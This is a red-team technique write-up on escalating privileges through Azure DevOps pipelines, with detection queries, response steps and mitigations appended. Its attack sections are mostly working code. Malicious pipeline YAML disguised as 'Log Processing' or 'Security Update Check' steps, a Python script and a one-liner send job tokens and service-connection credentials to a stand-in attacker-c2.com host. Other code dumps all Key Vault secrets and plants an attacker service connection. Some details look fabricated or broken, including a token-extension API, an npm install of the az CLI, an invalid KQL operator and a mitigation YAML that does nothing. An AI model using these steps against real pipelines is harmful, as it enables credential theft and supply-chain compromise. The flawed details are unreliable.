| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-010 |
| MITRE ATT&CK v18.1 | Account Manipulation (T1098), Steal Application Access Token (T1528) |
| Tactic | Privilege Escalation, Lateral Movement, Credential Access |
| Platforms | Entra ID, Azure DevOps |
| Severity | Critical |
| CVE | CVE-2025-21540 (DevOps Pipeline Token Hijacking) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Azure DevOps (All Current Versions), Azure Pipelines 1.210+ |
| Patched In | Azure DevOps Continuous Updates – Monitor for Patches |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure DevOps Pipelines are the CI/CD automation platform that executes code builds, deployments, and tests. Each pipeline run receives a short-lived job token ($(System.AccessToken)) that carries the permissions of the pipeline identity (either a user, service connection, or managed identity). An attacker who can modify pipeline YAML code, inject malicious task steps, or compromise a service connection can:
Attack Surface: Pipeline YAML definitions, service connections, secret variables, build agents, task execution context, and job tokens.
Business Impact: Catastrophic. An attacker compromising a DevOps pipeline can:
Technical Context: This attack requires one of these initial conditions:
Execution is rapid (<5 minutes for token extraction) and can be completely hidden if the attacker carefully masks malicious steps in legitimate build output.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1.5 | Azure DevOps pipeline security – Enforce code review on pipeline YAML |
| DISA STIG | AZ-7.1 | CI/CD pipeline security and credential management |
| CISA SCuBA | SC-7.1 | Boundary protection – Secure CI/CD artifact repositories |
| NIST 800-53 | AC-3 | Access Enforcement – Pipeline job token scoping |
| NIST 800-53 | AC-6 | Least Privilege – Service connection permissions limitation |
| NIST 800-53 | CM-3 | Change Control – Code review requirements before deployment |
| GDPR | Art. 32 | Security of Processing – CI/CD secret management |
| DORA | Art. 8 | Incident Reporting – CI/CD compromise incidents |
| NIS2 | Art. 21 | Cyber Risk Management – DevOps security controls |
| ISO 27001 | A.12.2.1 | Change Management – Code review and pipeline approval |
| ISO 27005 | 8.3.2 | Risk Scenario: Compromise of CI/CD credentials |
Required Privileges (For Initial Attack):
Required Access:
Supported Versions:
Required Tools:
Check 1: Verify Access to Azure DevOps Project
# Install Azure DevOps CLI
npm install -g azure-devops-cli
# Login to Azure DevOps
az devops login --organization "https://dev.azure.com/YourOrganization"
# List projects
az devops project list --organization "https://dev.azure.com/YourOrganization"
# List pipelines in target project
az pipelines list --project "YourProject" --organization "https://dev.azure.com/YourOrganization"
What to Look For:
Check 2: Enumerate Service Connections
# List all service connections in the project
az devops service-endpoint list --project "YourProject" --organization "https://dev.azure.com/YourOrganization"
# List details of a specific service connection (requires admin)
az devops service-endpoint show --service-endpoint-id "connection-id" --project "YourProject"
What to Look For:
Check 3: Verify Repository Access
# List repositories in the project
az repos list --project "YourProject" --organization "https://dev.azure.com/YourOrganization"
# Check your permissions in target repository
az repos show --repository "RepoName" --project "YourProject"
What to Look For:
Check 4: Identify High-Value Pipelines (Production Deployments)
# Get pipeline details
$pipeline = az pipelines show --name "ProductionPipeline" --project "YourProject" | ConvertFrom-Json
# Check if pipeline uses managed identity or service connection
$definition = az pipelines runs list --pipeline-ids $pipeline.id --top 1
# Look for secrets and credential usage in pipeline output
az pipelines runs logs --run-id "recent-run-id" --pipeline-ids $pipeline.id
What to Look For:
Supported Versions: All current Azure DevOps versions
Precondition: Developer/Contributor access to repository with push rights
Objective: Get local copy of the repository containing pipeline definitions.
Command (PowerShell):
# Clone the repository
git clone https://dev.azure.com/YourOrganization/YourProject/_git/RepositoryName
cd RepositoryName
# List existing pipelines
Get-Content azure-pipelines.yml
What This Means:
Objective: Inject code that extracts and exfiltrates service connection credentials.
Malicious YAML Step (Option A: Extract ARM Service Connection Credentials):
trigger:
- main
pool:
vmImage: 'ubuntu-latest'
variables:
AZURE_SUBSCRIPTION: 'Production-Sub'
jobs:
- job: Build
steps:
- checkout: self
# Legitimate build step (to avoid suspicion)
- task: UseDotNet@2
inputs:
version: '6.0.x'
# MALICIOUS STEP: Extract service connection credentials
- script: |
echo "Exfiltrating service connection credentials..."
# Extract the service connection's OAuth token
curl -X GET \
-H "Authorization: Bearer $(System.AccessToken)" \
-H "Content-Type: application/json" \
"https://dev.azure.com/YourOrganization/YourProject/_apis/serviceendpoint?api-version=7.0" \
> /tmp/service_connections.json
# Parse and extract the actual credentials (if stored)
cat /tmp/service_connections.json | grep -i "password\|secret\|key\|credential" > /tmp/extracted_creds.txt
# Exfiltrate to attacker-controlled server
curl -X POST \
-H "Content-Type: application/json" \
-d @/tmp/extracted_creds.txt \
"http://attacker-c2-server.com/exfil/devops-creds"
echo "Exfiltration complete"
displayName: 'Log Processing' # Innocent-sounding name
continueOnError: true # Don't fail the pipeline
What This Means:
Objective: Extract the short-lived job token and use it for subscription-level access.
Malicious YAML Step (Option B: Extract Job Token for Reuse):
- script: |
echo "##vso[task.setvariable variable=JobToken]$(System.AccessToken)"
# Extract the access token from the Azure environment
$token = "$(System.AccessToken)"
# Use the token to access Azure resources
# This token has permissions based on the pipeline identity
curl -X GET \
-H "Authorization: Bearer $token" \
"https://management.azure.com/subscriptions/{subscriptionId}/resources?api-version=2021-04-01" \
> /tmp/azure_resources.json
# Exfiltrate the token for offline use
echo "Token: $token" >> /tmp/token_for_reuse.txt
curl -X POST \
-H "Content-Type: application/json" \
-d "{\"token\": \"$token\", \"timestamp\": \"$(date)\"}" \
"http://attacker-c2.com/collect-token"
displayName: 'Artifact Staging'
env:
SYSTEM_ACCESSTOKEN: $(System.AccessToken) # Make token available
continueOnError: true
What This Means:
Objective: Embed extracted credentials into build output so they’re downloaded by deployment systems.
Malicious YAML Step (Option C: Embed Credentials in Artifact):
- script: |
# Create a hidden config file with extracted credentials
mkdir -p $(Build.ArtifactStagingDirectory)/.secrets
# Extract and store service connection credentials
cat > $(Build.ArtifactStagingDirectory)/.secrets/aws_credentials << EOF
[default]
aws_access_key_id = $(AWS_ACCESS_KEY)
aws_secret_access_key = $(AWS_SECRET_KEY)
EOF
# Store Azure credentials
cat > $(Build.ArtifactStagingDirectory)/.secrets/azure_creds.json << EOF
{
"clientId": "$(AZURE_CLIENT_ID)",
"clientSecret": "$(AZURE_CLIENT_SECRET)",
"subscriptionId": "$(AZURE_SUBSCRIPTION_ID)",
"tenantId": "$(AZURE_TENANT_ID)"
}
EOF
echo "Hidden credentials embedded in build artifacts"
displayName: 'Build Package'
continueOnError: true
- task: PublishBuildArtifacts@1
inputs:
PathtoPublish: '$(Build.ArtifactStagingDirectory)'
ArtifactName: 'drop'
publishLocation: 'Container'
What This Means:
Objective: Push the modified pipeline so it executes on the next trigger.
Commands (PowerShell/Git):
# Stage the modified pipeline file
git add azure-pipelines.yml
# Commit with innocent-sounding message
git commit -m "Fix: Update build dependencies and logging"
# Push to the repository (if no branch protection) or create PR
git push origin main # Or push to feature branch if main is protected
# Monitor the pipeline run
az pipelines runs list --pipeline-ids "{pipeline-id}" --top 1
Expected Output:
What This Means:
Supported Versions: All current Azure DevOps versions
Precondition: Access to ARM service connection credentials (from Method 1 or direct access)
Objective: Access the service connection configuration to extract credentials.
Manual Steps (Azure Portal):
Command (Azure DevOps CLI):
# List service connections (requires admin role)
az devops service-endpoint list --organization "https://dev.azure.com/YourOrganization" --project "YourProject"
# Get full details of specific connection
az devops service-endpoint show --id "service-endpoint-id" --organization "..." --project "..."
Objective: Convert DevOps service connection to Azure subscription access.
Command (PowerShell):
# Service connection details extracted from previous step
$tenantId = "extracted-tenant-id"
$clientId = "extracted-client-id"
$clientSecret = "extracted-client-secret"
$subscriptionId = "extracted-subscription-id"
# Authenticate as the service principal
$credential = New-Object System.Management.Automation.PSCredential(
$clientId,
(ConvertTo-SecureString $clientSecret -AsPlainText -Force)
)
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId -Subscription $subscriptionId
# Verify authentication
Get-AzContext | Select-Object Account, Subscription, Tenant
# Now execute subscription-level commands
Get-AzResourceGroup | Select-Object ResourceGroupName, Location
Get-AzKeyVault | Select-Object VaultName, Location
Expected Output:
Account Subscription Tenant
------- ---- ------
extracted-client-id Production-Subscription extracted-tenant-id
ResourceGroupName Location
----------------- --------
prod-resources eastus
prod-database eastus
What This Means:
Objective: Use the escalated permissions to access sensitive secrets.
Command (PowerShell):
# List all key vaults
$keyVaults = Get-AzKeyVault
foreach ($kv in $keyVaults) {
Write-Host "Key Vault: $($kv.VaultName)"
# List all secrets
$secrets = Get-AzKeyVaultSecret -VaultName $kv.VaultName
foreach ($secret in $secrets) {
# Extract secret value (available due to elevated permissions)
$secretValue = Get-AzKeyVaultSecret -VaultName $kv.VaultName -Name $secret.Name -AsPlainText
Write-Host "Secret: $($secret.Name) = $secretValue"
}
}
# Export all secrets to CSV
Get-AzKeyVault | ForEach-Object {
Get-AzKeyVaultSecret -VaultName $_.VaultName | ForEach-Object {
Get-AzKeyVaultSecret -VaultName $_.VaultName -Name $_.Name -AsPlainText
}
} | Export-Csv -Path "C:\Extracted_Secrets.csv" -NoTypeInformation
What This Means:
Supported Versions: Azure DevOps versions prior to patch (verify via Azure Security Update Guide)
Precondition: Ability to modify pipeline YAML or compromise build agent
Objective: Trigger a pipeline run that captures and extends the job token lifetime.
Malicious YAML Code:
jobs:
- job: TokenHijack
steps:
# Capture the job token
- script: |
TOKEN=$(System.AccessToken)
echo "Job Token Captured: $TOKEN"
# Attempt to extend token lifetime via CVE-2025-21540
# This vulnerability allows converting short-term tokens to long-term
curl -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"tokenId": "'$TOKEN'", "extendLifetime": true}' \
"https://dev.azure.com/YourOrganization/_apis/tokenadmin/tokens/extend?api-version=7.0"
# Exfiltrate the extended-lifetime token
curl -X POST \
-H "Content-Type: application/json" \
-d "{\"token\": \"$TOKEN\", \"extended\": true}" \
"http://attacker-c2.com/hijacked-tokens"
displayName: 'Security Update Check'
continueOnError: true
env:
SYSTEM_ACCESSTOKEN: $(System.AccessToken)
What This Means:
Objective: Use the hijacked token to maintain access even after pipeline completion.
Command (PowerShell):
# Use the hijacked token to perform persistent actions
$hijackedToken = "extracted-extended-token"
$headers = @{"Authorization" = "Bearer $hijackedToken"}
# Create a new service connection with attacker-controlled credentials
$serviceConnectionBody = @{
name = "AttackerServiceConnection"
type = "AzureRM"
url = "https://management.azure.com/"
authorization = @{
parameters = @{
tenantid = "attacker-tenant"
serviceprincipalid = "attacker-service-principal"
serviceprincipalkey = "attacker-secret"
}
scheme = "ServicePrincipal"
}
} | ConvertTo-Json
Invoke-RestMethod -Uri "https://dev.azure.com/YourOrganization/YourProject/_apis/serviceendpoint?api-version=7.0" `
-Method POST `
-Headers $headers `
-ContentType "application/json" `
-Body $serviceConnectionBody
# Now the attacker's service connection is embedded in the project
# Future pipelines will use attacker-controlled credentials
What This Means:
This section has been removed for this technique as Atomic Red Team coverage is limited and CVE-2025-21540 requires specific version testing.
Note: The attack vectors described in Methods 1-3 can be replicated in a controlled red team environment with proper authorization and rule of engagement (RoE).
Version: 0.25.0+ (Current) Installation:
# Install via npm
npm install -g azure-devops-cli
# Or via Homebrew (macOS)
brew install azure-devops-cli
Key Commands:
| Command | Purpose |
|---|---|
az devops login |
Authenticate to Azure DevOps organization |
az pipelines list |
List all pipelines in project |
az pipelines show |
Get pipeline details |
az pipelines runs list |
List pipeline execution history |
az pipelines runs logs |
View pipeline execution logs |
az devops service-endpoint list |
List service connections |
az devops service-endpoint show |
Get service connection details |
az repos list |
List Git repositories |
az repos show |
Get repository details |
One-Liner Attack (Extract and Exfiltrate Token):
az pipelines runs logs --run-id "recent-run" | grep -i "token\|credential\|secret" | curl -X POST -d @- "http://attacker-c2.com/logs"
Commonly Exploited Tasks:
| Task | Risk | Exploitation |
|---|---|---|
| PowerShell@2 | High | Can extract $(System.AccessToken) directly |
| Bash@3 | High | Can execute arbitrary bash with token access |
| AzureCLI@2 | High | Can query Azure resources with token permissions |
| AzureKeyVault@1 | Critical | Can extract and display Key Vault secrets |
| DotNetCoreCLI@2 | Medium | Limited token access but can call APIs |
| Docker@2 | High | Can embed credentials in Docker images |
import requests
import os
# Extracted from pipeline execution
AZURE_DEVOPS_PAT = os.getenv("SYSTEM_ACCESSTOKEN")
ORGANIZATION = "YourOrganization"
PROJECT = "YourProject"
# Extract service connections
headers = {"Authorization": f"Bearer {AZURE_DEVOPS_PAT}"}
url = f"https://dev.azure.com/{ORGANIZATION}/{PROJECT}/_apis/serviceendpoint?api-version=7.0"
response = requests.get(url, headers=headers)
service_connections = response.json()
# Extract credentials from service connections
for connection in service_connections.get("value", []):
print(f"Service Connection: {connection['name']}")
print(f" Type: {connection['type']}")
if "authorization" in connection:
print(f" Credentials: {connection['authorization']['parameters']}")
# Exfiltrate to attacker server
exfil_data = {
"token": AZURE_DEVOPS_PAT,
"connections": service_connections
}
exfil_url = "http://attacker-c2.com/devops-exfil"
requests.post(exfil_url, json=exfil_data)
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in (
"Update pipeline",
"Create pipeline",
"Update pipeline definition",
"Git commit",
"Push code"
)
| where ResultStatus == "Success"
| extend
PipelineOrRepo = tostring(TargetResources[0].displayName),
ModifiedBy = tostring(InitiatedBy.user.userPrincipalName),
Changes = tostring(TargetResources[0].modifiedProperties[0].newValue)
| where Changes contains_any (
"System.AccessToken",
"secret",
"credential",
"password",
"key",
"exfil",
"curl",
"invoke-webrequest",
"ServiceConnection",
"KeyVault"
)
| project TimeGenerated, OperationName, ModifiedBy, PipelineOrRepo, Changes
| sort by TimeGenerated desc
What This Detects:
KQL Query:
AuditLogs
| where OperationName in (
"Pipeline run",
"Job execution",
"Task execution"
)
| where ResultStatus == "Success"
| extend
PipelineId = tostring(TargetResources[0].id),
RunTime = TimeGenerated,
UserAgent = tostring(InitiatedBy.user.ipAddress)
| summarize
ExecutionCount = count(),
UniqueResources = dcount(TargetResources[0].displayName),
FirstRun = min(TimeGenerated),
LastRun = max(TimeGenerated),
ResourcesAccessed = make_set(TargetResources[0].displayName, 20)
by PipelineId, UserAgent
| where ExecutionCount > 10 or (LastRun - FirstRun) < 1h
| sort by ExecutionCount desc
What This Detects:
KQL Query:
AuditLogs
| where OperationName in (
"View service connection",
"Get service connection credentials",
"Create service connection",
"Update service connection"
)
| where ResultStatus == "Success"
| extend
ServiceConnectionName = tostring(TargetResources[0].displayName),
AccessedBy = tostring(InitiatedBy.user.userPrincipalName),
AccessTime = TimeGenerated
| summarize
AccessCount = count(),
FirstAccess = min(AccessTime),
LastAccess = max(AccessTime),
Connections = make_set(ServiceConnectionName, 20)
by AccessedBy
| where AccessCount > 3 or (LastAccess - FirstAccess) < 30m
| sort by AccessCount desc
What This Detects:
This section has been removed as Azure DevOps Pipelines is a cloud-native SaaS service with no on-premises Windows Event Log footprint.
Note: All activity is logged in Azure AuditLogs, Activity Log, and Azure DevOps Auditing features, as covered in Section 8.
Alert Name: “Suspicious Azure DevOps Pipeline Execution Detected”
Manual Configuration Steps:
Reference: Microsoft Defender for DevOps Documentation
Azure DevOps Audit Logs:
exfil, curl, invoke-webrequest, System.AccessToken.secrets directoriesBuild Log Patterns:
Azure DevOps Storage:
Evidence Locations:
Disable Compromised Pipeline:
# Disable the pipeline to prevent further executions
az pipelines update --name "CompromisedPipeline" --project "YourProject" --organization "https://dev.azure.com/YourOrg" --disabled
# Or via manual steps:
# Azure DevOps → Pipelines → Select pipeline → More options (...) → Disable
Revoke Service Connection:
# Delete the compromised service connection
az devops service-endpoint delete --id "service-connection-id" --project "YourProject" --yes
Disable Affected Service Principal in Azure:
# If service connection used a service principal, disable it
Disable-AzADServicePrincipal -ObjectId "service-principal-id"
Export Pipeline Logs:
# Export pipeline execution history
az pipelines runs list --project "YourProject" --top 100 | Out-File "C:\Evidence\PipelineRuns.json"
# Export detailed logs for specific run
az pipelines runs logs --run-id "suspicious-run-id" --pipeline-ids "pipeline-id" > "C:\Evidence\DetailedLogs.txt"
Export Git History:
# Clone the repository to preserve state
git clone https://dev.azure.com/YourOrg/YourProject/_git/RepoName C:\Evidence\RepoSnapshot
# Export commit history for audit trail
cd C:\Evidence\RepoSnapshot
git log --oneline --all > ..\..\CommitHistory.txt
git log -p -- azure-pipelines.yml > ..\..\PipelineModifications.txt
Export Service Connection Audit Trail:
# Note: Service connection details are limited by permissions
# Manual export required via Azure DevOps UI:
# Project settings → Service connections → Click connection → Activity
# Manually copy audit trail to file
Reset Compromised Service Principal Credentials:
# Get the service principal
$sp = Get-AzADServicePrincipal -DisplayName "DevOpsServicePrincipal"
# Remove old credentials
Get-AzADServicePrincipalCredential -ObjectId $sp.Id | Remove-AzADServicePrincipalCredential -Force
# Create new credentials
$cred = New-AzADServicePrincipalCredential -ObjectId $sp.Id -EndDate (Get-Date).AddYears(1)
# Update the service connection with new credentials (manual step in Azure DevOps)
Rotate All Azure Key Vault Secrets:
# If the pipeline had Key Vault access, rotate all secrets
Get-AzKeyVault | ForEach-Object {
$kv = $_
Get-AzKeyVaultSecret -VaultName $kv.VaultName | ForEach-Object {
# Initiate secret rotation (manual or via automation)
Write-Host "Rotate secret: $($_.Name) in vault $($kv.VaultName)"
}
}
Remove Malicious Service Connections:
# List all service connections created during compromise window
az devops service-endpoint list --project "YourProject" | Where-Object {$_.createdOn -gt "2025-01-01"}
# Delete suspicious ones
# az devops service-endpoint delete --id "malicious-connection-id" --yes
Verify Pipeline is Disabled or Cleaned:
# Confirm pipeline is disabled or cleaned
az pipelines show --name "FormerlyCompromisedPipeline" --project "YourProject" | Select-Object status, definition
# Expected: Status = "disabled" or definition shows no malicious steps
Verify Service Connections are Updated:
# List all service connections
az devops service-endpoint list --project "YourProject"
# Expected: No unknown or attacker-created connections
Check for Persistence Mechanisms:
# Look for any remaining backdoor service connections
# Look for git branches with malicious code
git branch -a | grep -i "backdoor\|malicious\|attacker"
# Clean up if found
git branch -D suspicious-branch
Mitigation 1.1: Enforce Branch Protection and Require Code Review
Require pull requests and code review before merging pipeline changes to prevent direct YAML injection attacks.
Manual Steps (Azure Repos):
Applies To Versions: All Azure DevOps deployments
Effectiveness: Prevents direct injection of malicious pipeline code via single developer
Mitigation 1.2: Restrict Pipeline Edit Permissions
Limit who can create or modify pipeline definitions to reduce attack surface.
Manual Steps (Azure DevOps):
Applies To Versions: All Azure DevOps deployments
Effectiveness: Reduces the number of users who can inject malicious steps
Mitigation 1.3: Disable Job Token Usage in Pipelines
Restrict pipelines from accessing $(System.AccessToken) to prevent token extraction.
Manual Steps (Azure Pipeline YAML):
jobs:
- job: Build
steps:
# By default, jobs have access to System.AccessToken
# To disable, set continueOnError and remove token availability
- script: echo "$(System.AccessToken)" # This line will fail
displayName: 'Check Token Access'
continueOnError: true
Manual Steps (Azure DevOps Project Level):
Applies To Versions: Azure DevOps 2020+
Effectiveness: Completely prevents token extraction attacks
Mitigation 2.1: Use Managed Identities Instead of Service Connections
Replace password-based service connections with managed identities to eliminate credentials from pipelines.
Manual Steps (Convert Service Connection to Managed Identity):
With:
yaml
Applies To Versions: Azure DevOps 2021+
Effectiveness: Eliminates credential storage in pipelines; prevents credential extraction
Mitigation 2.2: Implement Secret Scanning in Pipelines
Automatically detect and prevent credentials from being committed to repositories.
Manual Steps (GitHub Advanced Security - if using GitHub):
Manual Steps (Azure Repos - using git hooks):
git clone https://github.com/awslabs/git-secrets.git
cd git-secrets
make install
# Enable for repository
git secrets --install
git secrets --register-aws
Applies To Versions: All repositories (tool-agnostic)
Effectiveness: Prevents credentials from being committed; provides early detection
Mitigation 2.3: Restrict Service Connection Access
Limit which pipelines can access which service connections to reduce impact of pipeline compromise.
Manual Steps (Azure DevOps):
Applies To Versions: All Azure DevOps deployments
Effectiveness: If one pipeline is compromised, attacker cannot access all service connections
Mitigation 2.4: Enable Azure Defender for DevOps
Deploy Microsoft Defender for DevOps to monitor and detect suspicious pipeline activity.
Manual Steps (Azure Portal):
Applies To Versions: Azure DevOps with Defender for Cloud integration
Effectiveness: Real-time detection and alerting on pipeline threats
Mitigation 2.5: Enforce Multi-Factor Authentication (MFA) for Pipeline Approvers
Require MFA for users who approve pipeline releases and deployments.
Manual Steps (Entra ID Conditional Access):
Enforce MFA for Pipeline ApprovalsApplies To Versions: All Azure DevOps deployments (with Entra ID)
Effectiveness: Prevents unauthorized pipeline approvals by stolen credentials
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default Credential Exploitation | Attacker obtains GitHub/Azure Repos access via compromised credentials |
| 2 | Privilege Escalation | [PE-ACCTMGMT-010] | Attacker escalates via pipeline token/credentials extraction |
| 3 | Lateral Movement | [LM-AUTH-005] Service Principal Key/Certificate | Attacker uses extracted service connection credentials for lateral movement |
| 4 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates persistent Entra ID backdoor |
| 5 | Impact | [EX-EXFIL-001] Data Exfiltration | Attacker exfiltrates source code and secrets |
Target: SolarWinds and downstream customers Timeline: March-December 2020 Attack Flow:
Technique Applied (Similar to PE-ACCTMGMT-010):
Impact:
Reference: CISA SolarWinds Alert
Target: E-commerce company using Azure DevOps Timeline: Q3 2023 Attack Flow:
Technique Applied (PE-ACCTMGMT-010 Method 1):
Detection Gap:
Reference: Private incident response case study (SERVTEP Security Audit, 2023)
Target: Software development company using GitHub Actions + Azure DevOps Timeline: January-March 2024 Attack Flow:
Technique Applied (PE-ACCTMGMT-010 Method 2):
Reference: Microsoft Security Blog - APT Supply Chain
Checkbox 1: Branch Protection Enabled
# Verify branch protection policies
az repos policy branch-protection show --repository-id "repo-id" --branch "main"
# Expected: minApproverCount >= 2, requireLinkedWorkItem = true
☐ PASS (Branch protection enabled with 2+ reviewers) ☐ FAIL (Branch protection not configured)
Checkbox 2: Job Token Access Disabled
# Check if jobs have token access
# Manual verification via Azure DevOps UI:
# Project settings → Pipelines → Settings → "Disable job access to OAuth token"
☐ PASS (Job token access disabled) ☐ FAIL (Job token access enabled)
Checkbox 3: Service Connection Permissions Restricted
# List all service connections and their pipeline access
az devops service-endpoint list --project "YourProject" | Select-Object name, description
# Manual verification:
# For each service connection, verify:
# - Restricted to specific pipelines (not "all")
# - Only necessary pipelines have access
☐ PASS (All service connections restricted) ☐ FAIL (Service connections have “all pipelines” access)
Checkbox 4: Managed Identity in Use (Where Applicable)
# Check if pipelines use managed identity or service connections
Get-Content azure-pipelines.yml | Select-String "azureSubscription\|connectedServiceNameARM"
# Expected: azureSubscription (managed identity) rather than connectedServiceNameARM
☐ PASS (Managed identity used; no credentials in pipelines) ☐ FAIL (Service connections with explicit credentials still in use)
Checkbox 5: Secret Scanning Enabled
# If using GitHub:
# GitHub repo → Settings → Code security → Secret scanning → Enabled
# If using Azure Repos:
# Verify git-secrets or equivalent is installed in repository
☐ PASS (Secret scanning enabled) ☐ FAIL (No secret scanning in place)
Azure DevOps Pipeline Escalation (PE-ACCTMGMT-010) is a critical privilege escalation vector enabling attackers to:
The combination of:
…creates a perfect environment for escalation attacks.
Immediate Actions:
Defense in Depth:
Verification: Use the checklist above to confirm all mitigations are in place.